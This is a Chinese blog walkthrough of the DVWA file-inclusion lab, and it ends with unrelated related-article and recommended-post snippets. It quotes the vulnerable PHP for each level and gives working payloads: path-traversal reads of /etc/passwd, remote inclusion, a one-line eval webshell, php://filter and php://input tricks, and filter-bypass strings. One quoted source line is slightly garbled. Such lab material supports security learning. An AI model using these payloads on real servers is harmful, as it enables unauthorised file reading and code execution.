日期:2019-07-28 20:58:29
更新:
作者:Bay0net
介绍:


0x01、 漏洞介绍

文件包含时,不管包含的文件是什么类型,都会优先尝试当作 php 文件执行。

如果文件内容有 php 代码,则会执行 php 代码并返回代码执行的结果。

如果文件内容没有 php 代码,则把文件内容打印出来。

0x02、Low Security Level

查看源码

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>

服务器获取 page 的值,没有进行任何过滤。

文件包含

# 原 URL
http://127.0.0.1:81/vulnerabilities/fi/?page=file1.php # 本地文件包含,读文件(绝对路径 或 相对路径)
http://127.0.0.1:81/vulnerabilities/fi/?page=/etc/passwd
http://127.0.0.1:81/vulnerabilities/fi/?page=../../../../../etc/passwd # 远程文件包含
http://127.0.0.1:81/vulnerabilities/fi/?page=http://www.baidu.com

获取 shell

本地文件包含一句话木马,木马所在文件为 /tmp/1.txt,内容如下

<?php @eval($_POST["gg"]); ?>

伪协议读文件

0x01 所述,所有的 php 文件都会当成代码来执行,所以无法读取源码,如果 flagphp 文件中,那么我们就需要想办法来读取 flag

# 直接读取,PHP 代码直接执行
http://127.0.0.1:81/vulnerabilities/fi/?page=file1.php # 利用伪协议读取源码
http://127.0.0.1:81/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

复制出来第一行,然后直接 base64 解码即可。

伪协议 执行命令

利用的是 php://input 伪协议。

URL: http://127.0.0.1:81/vulnerabilities/fi/?page=php://input
POST:<?php phpinfo(); ?>

0x03、Medium Security Level

查看源码

<?php

// The page we wish to display
$file = $_GET[ 'page' ]; // Input validation
$file = ( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file ); ?>

过滤了一些东西,array 里面的就是。

绕过方法

1、使用绝对路径绕过。

2、使用的是 str_replace() 函数,可以使用重写的方式绕过

htthttp://p:// -> http://
..././ -> ../

0x04、High Security Level

查看源码

<?php

// The page we wish to display
$file = $_GET[ 'page' ]; // Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
} ?>

满足以下两个条件,则报错:

  1. 传过来的 page 里面没有 file*
  2. $file 不等于 include.php

绕过方法

1、使用伪协议绕过。

http://127.0.0.1:81/vulnerabilities/fi/?page=file:///etc/passwd

2、URL 包含关键字

# 此种方式无法绕过这个题,如果是 *file* 就能绕过了。。
http://vps.ip:9090/file.html

0x05、Impossible Security Level

查看源码

<?php

// The page we wish to display
$file = $_GET[ 'page' ]; // Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
} ?>

写死了文件名,无解。。。

0x06、Reference

PHP fnmatch() 函数 | 菜鸟教程

PHP str_replace() 函数

DVWA-文件包含学习笔记 - 雨中落叶 - 博客园

【DVWA】File Inclusion(文件包含漏洞)通关教程的更多相关文章

  1. Pikachu-File Inclusion(文件包含漏洞)

    File Inclusion(文件包含漏洞)概述 文件包含,是一个功能.在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件. 比如 在PHP中 ...

  2. DVWA之File Inclusion(文件包含)

    目录 LOW: Medium: High Impossible LOW: 源代码: <?php // The page we wish to display $file = $_GET[ 'pa ...

  3. 2. DVWA亲测文件包含漏洞

    Low级:     我们分别点击这几个file.php文件 仅仅是配置参数的变化: http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file3.php 如 ...

  4. DVWA各级文件包含漏洞

    File Inclusion文件包含漏洞 漏洞分析 程序开发人员通常会把可重复使用的函数写入到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程被称为包含. 有时候由于网 ...

  5. DVWA File Inclusion 通关教程

    File Inclusion 介绍File Inclusion,即文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数:include(),req ...

  6. 文件包含漏洞File Inclusion

    文件包含漏洞 目录遍历漏洞在国内外有许多不同的叫法,也可以叫做信息泄露漏洞.非授权文件包含漏洞等. 文件包含分类 LFI:本地文件包含(Local File Inclusion) RFI:远程文件包含 ...

  7. 文件包含漏洞(file inclusion)

    文件包含漏洞原理:(php) 是指当服务器开启allow_url_include选项的时候,通过php某些特性函数.如include().include_once().require().requir ...

  8. php文件包含漏洞 file inclusion vulnerability

    0x00 何为文件包含漏洞 开发人员如果在写类似include "a.php"的代码时,如果将a.php写成了可变的值,那么就可以在上面做文章,举个理想的例子: <? inc ...

  9. 文件包含漏洞(DVWA环境中复现)

    LOW: 源代码: <?php // The page we wish to display $file = $_GET[ 'page' ]; ?> 可以看到,low级别的代码对包含的文件 ...

  10. 本地文件包含漏洞(LFI漏洞)

    0x00 前言 本文的主要目的是分享在服务器遭受文件包含漏洞时,使用各种技术对Web服务器进行攻击的想法. 我们都知道LFI漏洞允许用户通过在URL中包括一个文件.在本文中,我使用了bWAPP和DVW ...

随机推荐

  1. gitlab和jenkins的安装及使用

    gitlab 准备: 最少4G内存 先安装docker软件包然后使用docker search gitlab 查找镜像然后使用docker pull 镜像名:标签名 下载镜像启动容器: docker ...

  2. nfs服务的配置

    nfs服务 nfs简介 Network file system 网络文件系统.NFS server可以看作是一个 file server.它可以让你的pc通过网络将远端的nfs server共享出来的 ...

  3. 牛客小白月赛12 J 月月查华华的手机 (序列自动机模板题)

    链接:https://ac.nowcoder.com/acm/contest/392/J 来源:牛客网 题目描述 月月和华华一起去吃饭了.期间华华有事出去了一会儿,没有带手机.月月出于人类最单纯的好奇 ...

  4. 心态炸了,我再写一个4.1.0版本的SND实例

    maven依赖 <!-- Tests --><dependency> <groupId>org.springframework</groupId> &l ...

  5. java将一数组乱序排列

    JAVA的Collections类中shuffle方法模拟了“洗牌”动作可以对list列表进行随机排序.如果一定要自己写,算法也很简单:假设数组array长度为n.用标准随机函数rand(n)生成[0 ...

  6. thinkPHP5.0.22初体验---路由,url访问

    “豪情卷起万重浪,吼吼哈哈-”一学thinkPHP才知道这是个国内研究的php web开发框架,瞬间自豪感如电流一般传遍全身 这就不多不说说 一.控制器 所谓MVC编程,无外乎函数(sometimes ...

  7. Python可迭代序列反转总结

    字符串反转 示例:s = "hello" 方法一:使用切片 def reversed_str(s): return s[::-1] 方法二:使用reversed # 字符串 -&g ...

  8. Qt5多线程

    方法一:重写run函数 一.线程执行过程: 1.在工程中自定义一个类mythread继承与QThread: 2.重写run函数: 3.创建线程对象: 4.写按钮槽函数: ui界面加入一个按钮 给按钮添 ...

  9. VAssistX 常用快捷键

    函数跳转 Alt + G - 函数定义和声明的跳转Alt + O - 在.h与.cpp文件中实现相互转换Alt + M - 列出当前文件所有的函数Ctrl + Tab - 切换标签 查找 Ctrl + ...

  10. python连接mysql操作(1)

    python连接mysql操作(1) import pymysql import pymysql.cursors # 连接数据库 connect = pymysql.Connect( host='10 ...